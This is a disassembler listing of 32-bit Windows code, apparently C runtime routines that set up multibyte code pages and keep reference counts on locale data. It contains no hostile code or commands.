		lea	ecx, [esi+11Dh]
		mov	esi, 100h

loc_40E809:				; CODE XREF: sub_40E7C2+4Ej
		mov	dl, [ecx+eax]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_40E809
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40E7C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=49Ch


sub_40E817	proc near		; CODE XREF: sub_40EABF+141p

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-49Ch]
		sub	esp, 51Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+49Ch+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+49Ch+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	ds:dword_41E180	; GetCPInfo
		test	eax, eax
		mov	edi, 100h
		jz	loc_40E93D
		xor	eax, eax

loc_40E850:				; CODE XREF: sub_40E817+43j
		mov	[ebp+eax+49Ch+var_104],	al
		inc	eax
		cmp	eax, edi
		jb	short loc_40E850
		mov	al, [ebp+49Ch+var_512]
		test	al, al
		mov	[ebp+49Ch+var_104], 20h
		jz	short loc_40E895
		lea	ebx, [ebp+49Ch+var_511]

loc_40E86D:				; CODE XREF: sub_40E817+7Cj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_40E88D
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+49Ch+var_104]
		push	20h
		push	edx
		call	sub_40C6F0
		add	esp, 0Ch

loc_40E88D:				; CODE XREF: sub_40E817+5Ej
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_40E86D

loc_40E895:				; CODE XREF: sub_40E817+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+49Ch+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	1
		push	0
		call	sub_416254
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_416059
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_416059
		add	esp, 24h
		xor	eax, eax

loc_40E8FC:				; CODE XREF: sub_40E817+122j
		movzx	ecx, [ebp+eax*2+49Ch+var_504]
		test	cl, 1
		jz	short loc_40E914
		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+49Ch+var_204]
		jmp	short loc_40E925
; ---------------------------------------------------------------------------

loc_40E914:				; CODE XREF: sub_40E817+EDj
		test	cl, 2
		jz	short loc_40E92E
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+49Ch+var_304]

loc_40E925:				; CODE XREF: sub_40E817+FBj
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_40E936
; ---------------------------------------------------------------------------

loc_40E92E:				; CODE XREF: sub_40E817+100j
		mov	byte ptr [esi+eax+11Dh], 0

loc_40E936:				; CODE XREF: sub_40E817+115j
		inc	eax
		cmp	eax, edi
		jb	short loc_40E8FC
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------

loc_40E93D:				; CODE XREF: sub_40E817+31j
		lea	eax, [esi+11Dh]
		mov	[ebp+49Ch+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+49Ch+var_51C], eax

loc_40E94F:				; CODE XREF: sub_40E817+171j
		mov	edx, [ebp+49Ch+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_40E96F
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_40E97E
; ---------------------------------------------------------------------------

loc_40E96F:				; CODE XREF: sub_40E817+14Aj
		cmp	edx, 19h
		ja	short loc_40E982
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h

loc_40E97E:				; CODE XREF: sub_40E817+156j
		mov	[eax], dl
		jmp	short loc_40E985
; ---------------------------------------------------------------------------

loc_40E982:				; CODE XREF: sub_40E817+15Bj
		mov	byte ptr [eax],	0

loc_40E985:				; CODE XREF: sub_40E817+169j
		inc	ecx
		cmp	ecx, edi
		jb	short loc_40E94F

loc_40E98A:				; CODE XREF: sub_40E817+124j
		mov	ecx, [ebp+49Ch+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 49Ch
		leave
		retn
sub_40E817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9A1	proc near		; CODE XREF: sub_40AB59+57p
					; sub_40EC6A+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421A08
		call	__SEH_prolog4
		call	sub_40F39E
		mov	edi, eax
		mov	eax, dword_423594
		test	[edi+70h], eax
		jz	short loc_40E9DB
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_40E9DB
		mov	esi, [edi+68h]

loc_40E9C7:				; CODE XREF: sub_40E9A1+96j
		test	esi, esi
		jnz	short loc_40E9D3
		push	20h
		call	sub_41195D
		pop	ecx

loc_40E9D3:				; CODE XREF: sub_40E9A1+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40E9DB:				; CODE XREF: sub_40E9A1+1Bj
					; sub_40E9A1+21j
		push	0Dh
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, dword_423498
		jz	short loc_40EA2B
		test	esi, esi
		jz	short loc_40EA13
		push	esi
		call	ds:dword_41E178	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40EA13
		cmp	esi, offset dword_423070
		jz	short loc_40EA13
		push	esi
		call	sub_40D35A
		pop	ecx

loc_40EA13:				; CODE XREF: sub_40E9A1+56j
					; sub_40E9A1+61j ...
		mov	eax, dword_423498
		mov	[edi+68h], eax
		mov	esi, dword_423498
		mov	[ebp+var_1C], esi
		push	esi
		call	ds:dword_41E17C	; InterlockedIncrement

loc_40EA2B:				; CODE XREF: sub_40E9A1+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EA3C
		jmp	short loc_40E9C7
sub_40E9A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA39	proc near		; DATA XREF: r69pu5ti:00421A20o
		mov	esi, [ebp-1Ch]
sub_40EA39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EA3C	proc near		; CODE XREF: sub_40E9A1+91p
		push	0Dh
		call	sub_40F91F
		pop	ecx
		retn
sub_40EA3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA45	proc near		; CODE XREF: sub_40EABF+19p
					; sub_40EC6A+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		cmp	esi, 0FFFFFFFEh
		mov	dword_425E44, ebx
		jnz	short loc_40EA80
		mov	dword_425E44, 1
		call	ds:off_41E170

loc_40EA72:				; CODE XREF: sub_40EA45+50j
					; sub_40EA45+67j
		cmp	[ebp+var_4], bl
		jz	short loc_40EABC
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40EABC
; ---------------------------------------------------------------------------

loc_40EA80:				; CODE XREF: sub_40EA45+1Bj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_40EA97
		mov	dword_425E44, 1
		call	ds:dword_41E174	; GetACP
		jmp	short loc_40EA72
; ---------------------------------------------------------------------------

loc_40EA97:				; CODE XREF: sub_40EA45+3Ej
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_40EAAE
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	dword_425E44, 1
		jmp	short loc_40EA72
; ---------------------------------------------------------------------------

loc_40EAAE:				; CODE XREF: sub_40EA45+55j
		cmp	[ebp+var_4], bl
		jz	short loc_40EABA
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EABA:				; CODE XREF: sub_40EA45+6Cj
		mov	eax, esi

loc_40EABC:				; CODE XREF: sub_40EA45+30j
					; sub_40EA45+39j
		pop	ebx
		leave
		retn
sub_40EA45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EABF	proc near		; CODE XREF: sub_40EC6A+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_40EA45
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+arg_0], edi
		jnz	short loc_40EAF6

loc_40EAE8:				; CODE XREF: sub_40EABF+193j
		mov	eax, ebx
		call	sub_40E7C2

loc_40EAEF:				; CODE XREF: sub_40EABF+146j
		xor	eax, eax
		jmp	loc_40EC5B
; ---------------------------------------------------------------------------

loc_40EAF6:				; CODE XREF: sub_40EABF+27j
		mov	[ebp+var_1C], esi
		xor	eax, eax

loc_40EAFB:				; CODE XREF: sub_40EABF+4Fj
		cmp	dword_4234A0[eax], edi
		jz	short loc_40EB6A
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_40EAFB
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	ds:dword_41E180	; GetCPInfo
		test	eax, eax
		jz	loc_40EC4C
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40C6F0
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		cmp	[ebp+var_18], edx
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		jbe	loc_40EC3F
		cmp	[ebp+var_12], 0
		jz	loc_40EC20
		lea	esi, [ebp+var_11]

loc_40EB54:				; CODE XREF: sub_40EABF+15Bj
		mov	cl, [esi]
		test	cl, cl
		jz	loc_40EC20
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_40EC10
; ---------------------------------------------------------------------------

loc_40EB6A:				; CODE XREF: sub_40EABF+42j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40C6F0
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_4234B0[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_40EBBA
; ---------------------------------------------------------------------------

loc_40EB90:				; CODE XREF: sub_40EABF+FEj
		mov	al, [esi+1]
		test	al, al
		jz	short loc_40EBBF
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_40EBB1
; ---------------------------------------------------------------------------

loc_40EB9F:				; CODE XREF: sub_40EABF+F4j
		mov	eax, [ebp+var_20]
		mov	al, byte_42349C[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi

loc_40EBB1:				; CODE XREF: sub_40EABF+DEj
		cmp	edi, eax
		jbe	short loc_40EB9F
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi

loc_40EBBA:				; CODE XREF: sub_40EABF+CFj
					; sub_40EABF+110j
		cmp	byte ptr [esi],	0
		jnz	short loc_40EB90

loc_40EBBF:				; CODE XREF: sub_40EABF+D6j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_40EBBA
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_40E793
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_4234A4[ecx]
		pop	edx

loc_40EBF1:				; CODE XREF: sub_40EABF+13Dj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_40EBF1

loc_40EBFE:				; CODE XREF: sub_40EABF+18Bj
		mov	esi, ebx
		call	sub_40E817
		jmp	loc_40EAEF
; ---------------------------------------------------------------------------

loc_40EC0A:				; CODE XREF: sub_40EABF+153j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax

loc_40EC10:				; CODE XREF: sub_40EABF+A6j
		cmp	eax, ecx
		jbe	short loc_40EC0A
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_40EB54

loc_40EC20:				; CODE XREF: sub_40EABF+8Cj
					; sub_40EABF+99j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh

loc_40EC28:				; CODE XREF: sub_40EABF+16Ej
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_40EC28
		mov	eax, [ebx+4]
		call	sub_40E793
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_40EC42
; ---------------------------------------------------------------------------

loc_40EC3F:				; CODE XREF: sub_40EABF+82j
		mov	[ebx+8], esi

loc_40EC42:				; CODE XREF: sub_40EABF+17Ej
		xor	eax, eax
		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
		jmp	short loc_40EBFE
; ---------------------------------------------------------------------------

loc_40EC4C:				; CODE XREF: sub_40EABF+5Ej
		cmp	dword_425E44, esi
		jnz	loc_40EAE8
		or	eax, 0FFFFFFFFh

loc_40EC5B:				; CODE XREF: sub_40EABF+32j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_40EABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC6A	proc near		; CODE XREF: sub_40EE04+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040EDD6 SIZE 0000002E BYTES

		push	14h
		push	offset dword_421A28
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_40F39E
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_40E9A1
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_40EA45
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_40EDF7
		push	220h
		call	sub_41183A
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_40EDFB
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_40EABF
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_40EDD6
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	ds:dword_41E178	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40ECFB
		mov	eax, [esi+68h]
		cmp	eax, offset dword_423070
		jz	short loc_40ECFB
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40ECFB:				; CODE XREF: sub_40EC6A+7Ej
					; sub_40EC6A+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, ds:dword_41E17C
		call	edi	; InterlockedIncrement
		test	byte ptr [esi+70h], 2
		jnz	loc_40EDFB
		test	byte ptr dword_423594, 1
		jnz	loc_40EDFB
		push	0Dh
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	dword_425E54, eax
		mov	eax, [ebx+8]
		mov	dword_425E58, eax
		mov	eax, [ebx+0Ch]
		mov	dword_425E5C, eax
		xor	eax, eax

loc_40ED44:				; CODE XREF: sub_40EC6A+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_40ED5C
		mov	cx, [ebx+eax*2+10h]
		mov	word_425E48[eax*2], cx
		inc	eax
		jmp	short loc_40ED44
; ---------------------------------------------------------------------------

loc_40ED5C:				; CODE XREF: sub_40EC6A+E0j
		xor	eax, eax

loc_40ED5E:				; CODE XREF: sub_40EC6A+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_40ED75
		mov	cl, [eax+ebx+1Ch]
		mov	byte_423290[eax], cl
		inc	eax
		jmp	short loc_40ED5E
; ---------------------------------------------------------------------------

loc_40ED75:				; CODE XREF: sub_40EC6A+FCj
		xor	eax, eax

loc_40ED77:				; CODE XREF: sub_40EC6A+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_40ED91
		mov	cl, [eax+ebx+11Dh]
		mov	byte_423398[eax], cl
		inc	eax
		jmp	short loc_40ED77
; ---------------------------------------------------------------------------

loc_40ED91:				; CODE XREF: sub_40EC6A+115j
		push	dword_423498
		call	ds:dword_41E178	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40EDB4
		mov	eax, dword_423498
		cmp	eax, offset dword_423070
		jz	short loc_40EDB4
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40EDB4:				; CODE XREF: sub_40EC6A+135j
					; sub_40EC6A+141j
		mov	dword_423498, ebx
		push	ebx
		call	edi	; InterlockedIncrement
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EDCB
		jmp	short loc_40EDFB
sub_40EC6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EDCB	proc near		; CODE XREF: sub_40EC6A+15Ap
		push	0Dh
		call	sub_40F91F
		pop	ecx
		retn
sub_40EDCB	endp

; ---------------------------------------------------------------------------
		jmp	short loc_40EDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC6A

loc_40EDD6:				; CODE XREF: sub_40EC6A+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDFB
		cmp	ebx, offset dword_423070
		jz	short loc_40EDEA
		push	ebx
		call	sub_40D35A
		pop	ecx

loc_40EDEA:				; CODE XREF: sub_40EC6A+177j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		jmp	short loc_40EDFB
; ---------------------------------------------------------------------------

loc_40EDF7:				; CODE XREF: sub_40EC6A+30j
		and	[ebp+var_20], 0

loc_40EDFB:				; CODE XREF: sub_40EC6A+45j
					; sub_40EC6A+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40EC6A

; =============== S U B	R O U T	I N E =======================================



sub_40EE04	proc near		; CODE XREF: sub_4148E6+Cp
					; sub_414943+Dp ...
		cmp	dword_434D34, 0
		jnz	short loc_40EE1F
		push	0FFFFFFFDh
		call	sub_40EC6A
		pop	ecx
		mov	dword_434D34, 1

loc_40EE1F:				; CODE XREF: sub_40EE04+7j
		xor	eax, eax
		retn
sub_40EE04	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE22	proc near		; CODE XREF: sub_40F074+31p
					; sub_40F3B6+E8p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebp, ebp
		cmp	eax, ebp
		push	edi
		jz	short loc_40EEA5
		cmp	eax, offset off_423F18
		jz	short loc_40EEA5
		mov	eax, [esi+0B0h]
		cmp	eax, ebp
		jz	short loc_40EEA5
		cmp	[eax], ebp
		jnz	short loc_40EEA5
		mov	eax, [esi+0B8h]
		cmp	eax, ebp
		jz	short loc_40EE6C
		cmp	[eax], ebp
		jnz	short loc_40EE6C
		push	eax
		call	sub_40D35A
		push	dword ptr [esi+0BCh]
		call	sub_416464
		pop	ecx
		pop	ecx

loc_40EE6C:				; CODE XREF: sub_40EE22+31j
					; sub_40EE22+35j
		mov	eax, [esi+0B4h]
		cmp	eax, ebp
		jz	short loc_40EE8D
		cmp	[eax], ebp
		jnz	short loc_40EE8D
		push	eax
		call	sub_40D35A
		push	dword ptr [esi+0BCh]
		call	sub_416424
		pop	ecx
		pop	ecx

loc_40EE8D:				; CODE XREF: sub_40EE22+52j
					; sub_40EE22+56j
		push	dword ptr [esi+0B0h]
		call	sub_40D35A
		push	dword ptr [esi+0BCh]
		call	sub_40D35A
		pop	ecx
		pop	ecx

loc_40EEA5:				; CODE XREF: sub_40EE22+12j
					; sub_40EE22+19j ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebp
		jz	short loc_40EEF3
		cmp	[eax], ebp
		jnz	short loc_40EEF3
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_40D35A
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_40D35A
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_40D35A
		push	dword ptr [esi+0C0h]
		call	sub_40D35A
		add	esp, 10h

loc_40EEF3:				; CODE XREF: sub_40EE22+8Bj
					; sub_40EE22+8Fj
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset dword_423E58
		jz	short loc_40EF19
		cmp	[eax+0B4h], ebp
		jnz	short loc_40EF19
		push	eax
		call	sub_416294
		push	dword ptr [edi]
		call	sub_40D35A
		pop	ecx
		pop	ecx

loc_40EF19:				; CODE XREF: sub_40EE22+DEj
					; sub_40EE22+E6j
		push	6
		lea	edi, [esi+50h]
		pop	ebx

loc_40EF1F:				; CODE XREF: sub_40EE22+132j
		cmp	dword ptr [edi-8], offset dword_423598
		jz	short loc_40EF39
		mov	eax, [edi]
		cmp	eax, ebp
		jz	short loc_40EF39
		cmp	[eax], ebp
		jnz	short loc_40EF39
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40EF39:				; CODE XREF: sub_40EE22+104j
					; sub_40EE22+10Aj ...
		cmp	[edi-4], ebp
		jz	short loc_40EF50
		mov	eax, [edi+4]
		cmp	eax, ebp
		jz	short loc_40EF50
		cmp	[eax], ebp
		jnz	short loc_40EF50
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40EF50:				; CODE XREF: sub_40EE22+11Aj
					; sub_40EE22+121j ...
		add	edi, 10h
		dec	ebx
		jnz	short loc_40EF1F
		push	esi
		call	sub_40D35A
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40EE22	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF62	proc near		; CODE XREF: sub_40F074+12p
					; sub_40F267+93p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, ds:dword_41E17C
		push	esi
		call	edi	; InterlockedIncrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_40EF80
		push	eax
		call	edi	; InterlockedIncrement

loc_40EF80:				; CODE XREF: sub_40EF62+19j
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_40EF8D
		push	eax
		call	edi	; InterlockedIncrement

loc_40EF8D:				; CODE XREF: sub_40EF62+26j
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_40EF9A
		push	eax
		call	edi	; InterlockedIncrement

loc_40EF9A:				; CODE XREF: sub_40EF62+33j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_40EFA7
		push	eax
		call	edi	; InterlockedIncrement

loc_40EFA7:				; CODE XREF: sub_40EF62+40j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_40EFAD:				; CODE XREF: sub_40EF62+71j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_40EFBF
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40EFBF
		push	eax
		call	edi	; InterlockedIncrement

loc_40EFBF:				; CODE XREF: sub_40EF62+52j
					; sub_40EF62+58j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_40EFCF
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40EFCF
		push	eax
		call	edi	; InterlockedIncrement

loc_40EFCF:				; CODE XREF: sub_40EF62+61j
					; sub_40EF62+68j
		add	ebx, 10h
		dec	ebp
		jnz	short loc_40EFAD
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedIncrement
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40EF62	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFE8	proc near		; CODE XREF: sub_40F074+1Dp
					; sub_40F3B6+CCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40F070
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_41E178
		push	esi
		call	edi	; InterlockedDecrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_40F00A
		push	eax
		call	edi	; InterlockedDecrement

loc_40F00A:				; CODE XREF: sub_40EFE8+1Dj
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_40F017
		push	eax
		call	edi	; InterlockedDecrement

loc_40F017:				; CODE XREF: sub_40EFE8+2Aj
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_40F024
		push	eax
		call	edi	; InterlockedDecrement

loc_40F024:				; CODE XREF: sub_40EFE8+37j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_40F031
		push	eax
		call	edi	; InterlockedDecrement

loc_40F031:				; CODE XREF: sub_40EFE8+44j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_40F037:				; CODE XREF: sub_40EFE8+75j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_40F049
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40F049
		push	eax
		call	edi	; InterlockedDecrement

loc_40F049:				; CODE XREF: sub_40EFE8+56j
					; sub_40EFE8+5Cj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_40F059
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40F059
		push	eax
		call	edi	; InterlockedDecrement

loc_40F059:				; CODE XREF: sub_40EFE8+65j
					; sub_40EFE8+6Cj
		add	ebx, 10h
		dec	ebp
		jnz	short loc_40F037
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedDecrement
		pop	edi
		pop	ebp
		pop	ebx

loc_40F070:				; CODE XREF: sub_40EFE8+7j
		mov	eax, esi
		pop	esi
		retn
sub_40EFE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F074	proc near		; CODE XREF: sub_40F0B2+54p
		test	edi, edi
		jz	short loc_40F0AF
		test	eax, eax
		jz	short loc_40F0AF
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_40F0AB
		push	edi
		mov	[eax], edi
		call	sub_40EF62
		test	esi, esi
		pop	ecx
		jz	short loc_40F0AB
		push	esi
		call	sub_40EFE8
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_40F0AB
		cmp	esi, offset dword_4235A0
		jz	short loc_40F0AB
		push	esi
		call	sub_40EE22
		pop	ecx

loc_40F0AB:				; CODE XREF: sub_40F074+Dj
					; sub_40F074+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40F0AF:				; CODE XREF: sub_40F074+2j
					; sub_40F074+6j
		xor	eax, eax
		retn
sub_40F074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0B2	proc near		; CODE XREF: sub_40AB59+37p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421A48
		call	__SEH_prolog4
		call	sub_40F39E
		mov	esi, eax
		mov	eax, dword_423594
		test	[esi+70h], eax
		jz	short loc_40F0F1
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_40F0F1
		call	sub_40F39E
		mov	esi, [eax+6Ch]

loc_40F0DD:				; CODE XREF: sub_40F0B2+68j
		test	esi, esi
		jnz	short loc_40F0E9
		push	20h
		call	sub_41195D
		pop	ecx

loc_40F0E9:				; CODE XREF: sub_40F0B2+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40F0F1:				; CODE XREF: sub_40F0B2+1Bj
					; sub_40F0B2+21j
		push	0Ch
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, off_423678
		call	sub_40F074
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F11C
		jmp	short loc_40F0DD
sub_40F0B2	endp


; =============== S U B	R O U T	I N E =======================================



